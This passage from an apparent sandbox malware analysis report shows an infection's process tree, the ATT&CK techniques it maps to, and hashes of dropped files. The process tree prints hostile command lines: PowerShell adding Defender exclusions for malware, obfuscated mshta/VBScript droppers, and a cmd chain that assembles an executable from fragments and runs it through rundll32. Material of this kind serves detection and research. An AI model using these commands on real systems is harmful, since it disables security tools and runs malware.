                                                                                                          "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe"
                                                                                                          2⤵
                                                                                                            PID:3564
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\74325fc7-52bd-430e-970e-72ee5ce54d42\AdvancedRun.exe
                                                                                                              "C:\Users\Admin\AppData\Local\Temp\74325fc7-52bd-430e-970e-72ee5ce54d42\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\74325fc7-52bd-430e-970e-72ee5ce54d42\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                                                                                              3⤵
                                                                                                                PID:5932
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\74325fc7-52bd-430e-970e-72ee5ce54d42\AdvancedRun.exe
                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\74325fc7-52bd-430e-970e-72ee5ce54d42\AdvancedRun.exe" /SpecialRun 4101d8 5932
                                                                                                                  4⤵
                                                                                                                    PID:5456
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\b57dc271-b762-4ef5-aa7d-02878d7b85c3\AdvancedRun.exe
                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\b57dc271-b762-4ef5-aa7d-02878d7b85c3\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\b57dc271-b762-4ef5-aa7d-02878d7b85c3\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                                                                                                  3⤵
                                                                                                                    PID:6060
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\b57dc271-b762-4ef5-aa7d-02878d7b85c3\AdvancedRun.exe
                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\b57dc271-b762-4ef5-aa7d-02878d7b85c3\AdvancedRun.exe" /SpecialRun 4101d8 6060
                                                                                                                      4⤵
                                                                                                                        PID:5408
                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
                                                                                                                      3⤵
                                                                                                                        PID:6024
                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
                                                                                                                        3⤵
                                                                                                                          PID:4740
                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                            4⤵
                                                                                                                              PID:600
                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
                                                                                                                            3⤵
                                                                                                                              PID:6272
                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
                                                                                                                              3⤵
                                                                                                                                PID:6532
                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
                                                                                                                                3⤵
                                                                                                                                  PID:6764
                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
                                                                                                                                  3⤵
                                                                                                                                    PID:6996
                                                                                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe
                                                                                                                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe"
                                                                                                                                    3⤵
                                                                                                                                      PID:2716
                                                                                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
                                                                                                                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
                                                                                                                                      3⤵
                                                                                                                                        PID:6944
                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                                                                        3⤵
                                                                                                                                          PID:6940
                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
                                                                                                                                        2⤵
                                                                                                                                          PID:1464
                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1C18.exe" -Force
                                                                                                                                          2⤵
                                                                                                                                            PID:1816
                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
                                                                                                                                            2⤵
                                                                                                                                              PID:5236
                                                                                                                                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                                                                                                                                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                                                                                                                                              2⤵
                                                                                                                                                PID:5736
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\1E0D.exe
                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\1E0D.exe
                                                                                                                                              1⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              • Suspicious use of SetThreadContext
                                                                                                                                              PID:4764
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\1E0D.exe
                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\1E0D.exe
                                                                                                                                                2⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                • Adds Run key to start application
                                                                                                                                                • Modifies system certificate store
                                                                                                                                                PID:4912
                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                  icacls "C:\Users\Admin\AppData\Local\295d90b3-f0f5-4b55-8411-b015f5db19aa" /deny *S-1-1-0:(OI)(CI)(DE,DC)
                                                                                                                                                  3⤵
                                                                                                                                                  • Modifies file permissions
                                                                                                                                                  PID:600
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\1E0D.exe
                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\1E0D.exe" --Admin IsNotAutoStart IsNotTask
                                                                                                                                                  3⤵
                                                                                                                                                    PID:5904
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\1E0D.exe
                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\1E0D.exe" --Admin IsNotAutoStart IsNotTask
                                                                                                                                                      4⤵
                                                                                                                                                        PID:7052
                                                                                                                                                        • C:\Users\Admin\AppData\Local\995695c2-76ee-4081-9b76-4c71af72c64b\build2.exe
                                                                                                                                                          "C:\Users\Admin\AppData\Local\995695c2-76ee-4081-9b76-4c71af72c64b\build2.exe"
                                                                                                                                                          5⤵
                                                                                                                                                            PID:1848
                                                                                                                                                            • C:\Users\Admin\AppData\Local\995695c2-76ee-4081-9b76-4c71af72c64b\build2.exe
                                                                                                                                                              "C:\Users\Admin\AppData\Local\995695c2-76ee-4081-9b76-4c71af72c64b\build2.exe"
                                                                                                                                                              6⤵
                                                                                                                                                                PID:7300
                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 7300 -s 1400
                                                                                                                                                                  7⤵
                                                                                                                                                                  • Program crash
                                                                                                                                                                  PID:6112
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\23AB.exe
                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\23AB.exe
                                                                                                                                                      1⤵
                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                      PID:4856
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\2B2E.exe
                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\2B2E.exe
                                                                                                                                                      1⤵
                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                      PID:5080
                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 5080 -s 920
                                                                                                                                                        2⤵
                                                                                                                                                        • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                        • Drops file in Windows directory
                                                                                                                                                        • Program crash
                                                                                                                                                        PID:4332
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\359F.exe
                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\359F.exe
                                                                                                                                                      1⤵
                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                      PID:4540
                                                                                                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                        "C:\Windows\System32\mshta.exe" VbsCRIPt: CloSE ( CrEATEOBJECT ( "WscriPT.ShEll" ). rUn ( "C:\Windows\system32\cmd.exe /r cOPy /y ""C:\Users\Admin\AppData\Local\Temp\359F.exe"" ..\YGu6dRX.eXE && STart ..\YGU6DRX.exE -pEu3VPItrF6pCIFoPfAdI7 & iF """" == """" for %Q iN ( ""C:\Users\Admin\AppData\Local\Temp\359F.exe"" ) do taskkill /im ""%~nXQ"" -f ", 0 ,TRUe ) )
                                                                                                                                                        2⤵
                                                                                                                                                          PID:2200
                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                            "C:\Windows\system32\cmd.exe" /r cOPy /y "C:\Users\Admin\AppData\Local\Temp\359F.exe" ..\YGu6dRX.eXE && STart ..\YGU6DRX.exE -pEu3VPItrF6pCIFoPfAdI7 & iF "" =="" for %Q iN ( "C:\Users\Admin\AppData\Local\Temp\359F.exe" ) do taskkill /im "%~nXQ" -f
                                                                                                                                                            3⤵
                                                                                                                                                              PID:4936
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\YGu6dRX.eXE
                                                                                                                                                                ..\YGU6DRX.exE -pEu3VPItrF6pCIFoPfAdI7
                                                                                                                                                                4⤵
                                                                                                                                                                  PID:5428
                                                                                                                                                                  • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                    "C:\Windows\System32\mshta.exe" VbsCRIPt: CloSE ( CrEATEOBJECT ( "WscriPT.ShEll" ). rUn ( "C:\Windows\system32\cmd.exe /r cOPy /y ""C:\Users\Admin\AppData\Local\Temp\YGu6dRX.eXE"" ..\YGu6dRX.eXE && STart ..\YGU6DRX.exE -pEu3VPItrF6pCIFoPfAdI7 & iF ""-pEu3VPItrF6pCIFoPfAdI7 "" == """" for %Q iN ( ""C:\Users\Admin\AppData\Local\Temp\YGu6dRX.eXE"" ) do taskkill /im ""%~nXQ"" -f ", 0 ,TRUe ) )
                                                                                                                                                                    5⤵
                                                                                                                                                                      PID:5840
                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                        "C:\Windows\system32\cmd.exe" /r cOPy /y "C:\Users\Admin\AppData\Local\Temp\YGu6dRX.eXE" ..\YGu6dRX.eXE && STart ..\YGU6DRX.exE -pEu3VPItrF6pCIFoPfAdI7 & iF "-pEu3VPItrF6pCIFoPfAdI7 " =="" for %Q iN ( "C:\Users\Admin\AppData\Local\Temp\YGu6dRX.eXE" ) do taskkill /im "%~nXQ" -f
                                                                                                                                                                        6⤵
                                                                                                                                                                          PID:5192
                                                                                                                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                        "C:\Windows\System32\mshta.exe" vbSCrIPt: ClosE ( CReatEoBJect ( "wSCRiPt.sHELl" ). rUN ( "CMd.EXE /q /R Echo | SET /p = ""MZ"" >G52~.M & cOpY /y /B g52~.M + MyDCSYS.aJ2 + SoLi.X + NlEYUAM.J + VrTf6S.Kuq + JAWQ.UF + 5CkHYa.YmN ..\FJ~iiI.s & DEL /q *& sTart control ..\FJ~iII.s " , 0 , tRue ))
                                                                                                                                                                        5⤵
                                                                                                                                                                          PID:8164
                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /q /R Echo | SET /p = "MZ" >G52~.M & cOpY /y /B g52~.M + MyDCSYS.aJ2 + SoLi.X + NlEYUAM.J + VrTf6S.Kuq + JAWQ.UF + 5CkHYa.YmN ..\FJ~iiI.s &DEL /q *& sTart control ..\FJ~iII.s
                                                                                                                                                                            6⤵
                                                                                                                                                                              PID:7496
                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                C:\Windows\system32\cmd.exe /S /D /c" Echo "
                                                                                                                                                                                7⤵
                                                                                                                                                                                  PID:4320
                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" SET /p = "MZ" 1>G52~.M"
                                                                                                                                                                                  7⤵
                                                                                                                                                                                    PID:8056
                                                                                                                                                                                  • C:\Windows\SysWOW64\control.exe
                                                                                                                                                                                    control ..\FJ~iII.s
                                                                                                                                                                                    7⤵
                                                                                                                                                                                      PID:2264
                                                                                                                                                                                      • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\FJ~iII.s
                                                                                                                                                                                        8⤵
                                                                                                                                                                                          PID:5028
                                                                                                                                                                                          • C:\Windows\system32\RunDll32.exe
                                                                                                                                                                                            C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\FJ~iII.s
                                                                                                                                                                                            9⤵
                                                                                                                                                                                              PID:1524
                                                                                                                                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\FJ~iII.s
                                                                                                                                                                                                10⤵
                                                                                                                                                                                                  PID:5632
                                                                                                                                                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                      taskkill /im "359F.exe" -f
                                                                                                                                                                                      4⤵
                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                      PID:5544
                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\3E4B.exe
                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\3E4B.exe
                                                                                                                                                                                1⤵
                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                PID:4624
                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4624 -s 400
                                                                                                                                                                                  2⤵
                                                                                                                                                                                  • Program crash
                                                                                                                                                                                  PID:908
                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\AE7A.exe
                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\AE7A.exe
                                                                                                                                                                                1⤵
                                                                                                                                                                                  PID:6992
                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 6992 -s 372
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • Program crash
                                                                                                                                                                                    PID:1592
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\DF30.exe
                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\DF30.exe
                                                                                                                                                                                  1⤵
                                                                                                                                                                                    PID:8184
                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\8238.exe
                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\8238.exe
                                                                                                                                                                                    1⤵
                                                                                                                                                                                      PID:4584
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\clean.exe
                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\clean.exe"
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:7564
                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\deesjdd
                                                                                                                                                                                        C:\Users\Admin\AppData\Roaming\deesjdd
                                                                                                                                                                                        1⤵
                                                                                                                                                                                          PID:6172
                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\jeesjdd
                                                                                                                                                                                          C:\Users\Admin\AppData\Roaming\jeesjdd
                                                                                                                                                                                          1⤵
                                                                                                                                                                                            PID:4320

                                                                                                                                                                                          Network

                                                                                                                                                                                          MITRE ATT&CK Matrix ATT&CK v6

                                                                                                                                                                                          Execution

                                                                                                                                                                                          Command-Line Interface

                                                                                                                                                                                          1
                                                                                                                                                                                          T1059

                                                                                                                                                                                          Persistence

                                                                                                                                                                                          Winlogon Helper DLL

                                                                                                                                                                                          1
                                                                                                                                                                                          T1004

                                                                                                                                                                                          New Service

                                                                                                                                                                                          1
                                                                                                                                                                                          T1050

                                                                                                                                                                                          Modify Existing Service

                                                                                                                                                                                          1
                                                                                                                                                                                          T1031

                                                                                                                                                                                          Registry Run Keys / Startup Folder

                                                                                                                                                                                          2
                                                                                                                                                                                          T1060

                                                                                                                                                                                          Privilege Escalation

                                                                                                                                                                                          New Service

                                                                                                                                                                                          1
                                                                                                                                                                                          T1050

                                                                                                                                                                                          Defense Evasion

                                                                                                                                                                                          Modify Registry

                                                                                                                                                                                          7
                                                                                                                                                                                          T1112

                                                                                                                                                                                          Disabling Security Tools

                                                                                                                                                                                          3
                                                                                                                                                                                          T1089

                                                                                                                                                                                          File Permissions Modification

                                                                                                                                                                                          1
                                                                                                                                                                                          T1222

                                                                                                                                                                                          Install Root Certificate

                                                                                                                                                                                          1
                                                                                                                                                                                          T1130

                                                                                                                                                                                          Credential Access

                                                                                                                                                                                          Credentials in Files

                                                                                                                                                                                          2
                                                                                                                                                                                          T1081

                                                                                                                                                                                          Discovery

                                                                                                                                                                                          Query Registry

                                                                                                                                                                                          2
                                                                                                                                                                                          T1012

                                                                                                                                                                                          System Information Discovery

                                                                                                                                                                                          3
                                                                                                                                                                                          T1082

                                                                                                                                                                                          Peripheral Device Discovery

                                                                                                                                                                                          1
                                                                                                                                                                                          T1120

                                                                                                                                                                                          Remote System Discovery

                                                                                                                                                                                          1
                                                                                                                                                                                          T1018

                                                                                                                                                                                          Collection

                                                                                                                                                                                          Data from Local System

                                                                                                                                                                                          2
                                                                                                                                                                                          T1005

                                                                                                                                                                                          Replay Monitor

                                                                                                                                                                                          Loading Replay Monitor...

                                                                                                                                                                                          Downloads

                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                                                                                                                                                                                            MD5

                                                                                                                                                                                            e33ed3d4cc9b2e5a08ae25747ef47620

                                                                                                                                                                                            SHA1

                                                                                                                                                                                            e2f4cfdd39bcb2eb1c05648a37a3d8536eaf19b7

                                                                                                                                                                                            SHA256

                                                                                                                                                                                            0e7093450fb6bb5201b4291033daf6099881421ab47b122972e0249ef5b45a4f

                                                                                                                                                                                            SHA512

                                                                                                                                                                                            9e990f7ca202c7ecc7a21dd2433055b71bd62f2e524f4702b674316effeb8fa37e891d40f3e6a960380dd7967033c7a7f235e73a3c434e97495e532309b4f95e

                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                            MD5

                                                                                                                                                                                            56b1197a37b6030eb5590c2ed8f155fe

                                                                                                                                                                                            SHA1

                                                                                                                                                                                            f81c02fb4d5882e9a6bdecfc6dfdce1303b0eaaa

                                                                                                                                                                                            SHA256

                                                                                                                                                                                            cd613c0dc2ffb12cd29b6e28091e40949e5f986c48df69d62167f8f69d9eb327

                                                                                                                                                                                            SHA512

                                                                                                                                                                                            7e38ef50ebb94bfe930f3990fd624315a5139441fa7990bd55962e33762c16721d13f7cca1f8ac580a92507447cb0a2050a36f4089a77a9f2fd52512d0c3d9cd

                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                            MD5

                                                                                                                                                                                            1b6ac51653f8dafb71578fcfd6e3c25e

                                                                                                                                                                                            SHA1

                                                                                                                                                                                            0a85c99362d3e7b2825d20abb00083ef987ee05a

                                                                                                                                                                                            SHA256

                                                                                                                                                                                            7f27e1a44abc836dcc6d2aa3b105e6e2783d01556a75f720369bb8eed3fa6341

                                                                                                                                                                                            SHA512

                                                                                                                                                                                            4153ab6bddb94e7bed46d30cfef28b3f58184a76114091555ec93ce6d49a100ad9847ff266631a3ecb021ffd81240445848b10d30a479e5d6caab60622809a56

                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                            MD5

                                                                                                                                                                                            1b6ac51653f8dafb71578fcfd6e3c25e

                                                                                                                                                                                            SHA1

                                                                                                                                                                                            0a85c99362d3e7b2825d20abb00083ef987ee05a

                                                                                                                                                                                            SHA256

                                                                                                                                                                                            7f27e1a44abc836dcc6d2aa3b105e6e2783d01556a75f720369bb8eed3fa6341

                                                                                                                                                                                            SHA512

                                                                                                                                                                                            4153ab6bddb94e7bed46d30cfef28b3f58184a76114091555ec93ce6d49a100ad9847ff266631a3ecb021ffd81240445848b10d30a479e5d6caab60622809a56

                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\05af62cc-b643-4c6a-8fbe-ea4a18ab4abc\AdvancedRun.exe
                                                                                                                                                                                            MD5

                                                                                                                                                                                            17fc12902f4769af3a9271eb4e2dacce

                                                                                                                                                                                            SHA1

                                                                                                                                                                                            9a4a1581cc3971579574f837e110f3bd6d529dab

                                                                                                                                                                                            SHA256

                                                                                                                                                                                            29ae7b30ed8394c509c561f6117ea671ec412da50d435099756bbb257fafb10b

                                                                                                                                                                                            SHA512

                                                                                                                                                                                            036e0d62490c26dee27ef54e514302e1cc8a14de8ce3b9703bf7caf79cfae237e442c27a0edcf2c4fd41af4195ba9ed7e32e894767ce04467e79110e89522e4a

                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\05af62cc-b643-4c6a-8fbe-ea4a18ab4abc\AdvancedRun.exe
                                                                                                                                                                                            MD5

                                                                                                                                                                                            17fc12902f4769af3a9271eb4e2dacce

                                                                                                                                                                                            SHA1

                                                                                                                                                                                            9a4a1581cc3971579574f837e110f3bd6d529dab

                                                                                                                                                                                            SHA256

                                                                                                                                                                                            29ae7b30ed8394c509c561f6117ea671ec412da50d435099756bbb257fafb10b

                                                                                                                                                                                            SHA512

                                                                                                                                                                                            036e0d62490c26dee27ef54e514302e1cc8a14de8ce3b9703bf7caf79cfae237e442c27a0edcf2c4fd41af4195ba9ed7e32e894767ce04467e79110e89522e4a

                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\05af62cc-b643-4c6a-8fbe-ea4a18ab4abc\AdvancedRun.exe
                                                                                                                                                                                            MD5

                                                                                                                                                                                            17fc12902f4769af3a9271eb4e2dacce

                                                                                                                                                                                            SHA1

                                                                                                                                                                                            9a4a1581cc3971579574f837e110f3bd6d529dab

                                                                                                                                                                                            SHA256

                                                                                                                                                                                            29ae7b30ed8394c509c561f6117ea671ec412da50d435099756bbb257fafb10b

                                                                                                                                                                                            SHA512

                                                                                                                                                                                            036e0d62490c26dee27ef54e514302e1cc8a14de8ce3b9703bf7caf79cfae237e442c27a0edcf2c4fd41af4195ba9ed7e32e894767ce04467e79110e89522e4a

                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\123.exe
                                                                                                                                                                                            MD5

                                                                                                                                                                                            9c5236fc5bfdac54db11c9fe87d9daa5

                                                                                                                                                                                            SHA1

                                                                                                                                                                                            a0170f41137646ae9ce74c5341564c800ff6930c

                                                                                                                                                                                            SHA256

                                                                                                                                                                                            1966c61455d2cda210cafd47b9a475871184ebe5a21183ddc729ca46bab105c9

                                                                                                                                                                                            SHA512

                                                                                                                                                                                            4d05aa283da8be5b7a50961f935d1424a66c691ffee4ad45af5dc2859f3de3cfc7e838172e40f08a929acad96f06d64e8d94a796ee8b56fffadf6aaedcb76b0f

                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\123.exe
                                                                                                                                                                                            MD5

                                                                                                                                                                                            9c5236fc5bfdac54db11c9fe87d9daa5

                                                                                                                                                                                            SHA1

                                                                                                                                                                                            a0170f41137646ae9ce74c5341564c800ff6930c

                                                                                                                                                                                            SHA256

                                                                                                                                                                                            1966c61455d2cda210cafd47b9a475871184ebe5a21183ddc729ca46bab105c9

                                                                                                                                                                                            SHA512

                                                                                                                                                                                            4d05aa283da8be5b7a50961f935d1424a66c691ffee4ad45af5dc2859f3de3cfc7e838172e40f08a929acad96f06d64e8d94a796ee8b56fffadf6aaedcb76b0f

                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\1C18.exe
                                                                                                                                                                                            MD5

                                                                                                                                                                                            680e08dfb787740be8313220da9c7674

                                                                                                                                                                                            SHA1

                                                                                                                                                                                            709b52847483261b6288c4f0ea2d571c54a70275

                                                                                                                                                                                            SHA256

                                                                                                                                                                                            e1267ac21ecbf34f7601c33b7b60c840fc459e3de54a8db2568c227ee340cb87

                                                                                                                                                                                            SHA512

                                                                                                                                                                                            0b47b024a2ca99b08d86df0d17e0ed949e91c53230dc04b27763552929ad156f8af53a04bea3016895897e654ca1b75282287a161f85bff3d4f7d2d11f68d4a6

                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\1C18.exe
                                                                                                                                                                                            MD5

                                                                                                                                                                                            680e08dfb787740be8313220da9c7674

                                                                                                                                                                                            SHA1

                                                                                                                                                                                            709b52847483261b6288c4f0ea2d571c54a70275

                                                                                                                                                                                            SHA256

                                                                                                                                                                                            e1267ac21ecbf34f7601c33b7b60c840fc459e3de54a8db2568c227ee340cb87

                                                                                                                                                                                            SHA512

                                                                                                                                                                                            0b47b024a2ca99b08d86df0d17e0ed949e91c53230dc04b27763552929ad156f8af53a04bea3016895897e654ca1b75282287a161f85bff3d4f7d2d11f68d4a6

                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\1E0D.exe
                                                                                                                                                                                            MD5

                                                                                                                                                                                            8315a5d44cfbb632edbb486d655ee35c

                                                                                                                                                                                            SHA1

                                                                                                                                                                                            6d965b9d50d734a8a5b8bfa34f0031bfb02a0ad2

                                                                                                                                                                                            SHA256

                                                                                                                                                                                            89aed035a582c0144c0abb019000ca6ae931811f3bdaebf8249bf5fa775d264a

                                                                                                                                                                                            SHA512

                                                                                                                                                                                            9e39703563929d314604dabb4732443d46b275443a1943769907dc7817173ee6bb23b140216649bc5eef65dcde4075c166e9cbb6400c52fd45e7c52240704ade

                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\1E0D.exe
                                                                                                                                                                                            MD5

                                                                                                                                                                                            8315a5d44cfbb632edbb486d655ee35c

                                                                                                                                                                                            SHA1

                                                                                                                                                                                            6d965b9d50d734a8a5b8bfa34f0031bfb02a0ad2

                                                                                                                                                                                            SHA256

                                                                                                                                                                                            89aed035a582c0144c0abb019000ca6ae931811f3bdaebf8249bf5fa775d264a

                                                                                                                                                                                            SHA512

                                                                                                                                                                                            9e39703563929d314604dabb4732443d46b275443a1943769907dc7817173ee6bb23b140216649bc5eef65dcde4075c166e9cbb6400c52fd45e7c52240704ade

                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\1E0D.exe
                                                                                                                                                                                            MD5

                                                                                                                                                                                            8315a5d44cfbb632edbb486d655ee35c

                                                                                                                                                                                            SHA1

                                                                                                                                                                                            6d965b9d50d734a8a5b8bfa34f0031bfb02a0ad2

                                                                                                                                                                                            SHA256

                                                                                                                                                                                            89aed035a582c0144c0abb019000ca6ae931811f3bdaebf8249bf5fa775d264a

                                                                                                                                                                                            SHA512

                                                                                                                                                                                            9e39703563929d314604dabb4732443d46b275443a1943769907dc7817173ee6bb23b140216649bc5eef65dcde4075c166e9cbb6400c52fd45e7c52240704ade

                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\23AB.exe
                                                                                                                                                                                            MD5

                                                                                                                                                                                            17b39a9b7e6c1db0c04dea3cc8adec03

                                                                                                                                                                                            SHA1

                                                                                                                                                                                            57ff6dafd9939608a5dba1fdef1329c7bec69a86

                                                                                                                                                                                            SHA256

                                                                                                                                                                                            570543e2a8b5b2499fe7f80a92c62df13ba3b39d4b71a0f49c0384093d9b612a

                                                                                                                                                                                            SHA512

                                                                                                                                                                                            fb07f20c5cb314d60f8270aa24afc15eb9caeabb7805f2a0f9e64e3e0c26167720a0748ac4c169fef8cad427bed33868649fc3e769268bd15e0c5842ddcb4266

                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\23AB.exe
                                                                                                                                                                                            MD5

                                                                                                                                                                                            17b39a9b7e6c1db0c04dea3cc8adec03

                                                                                                                                                                                            SHA1

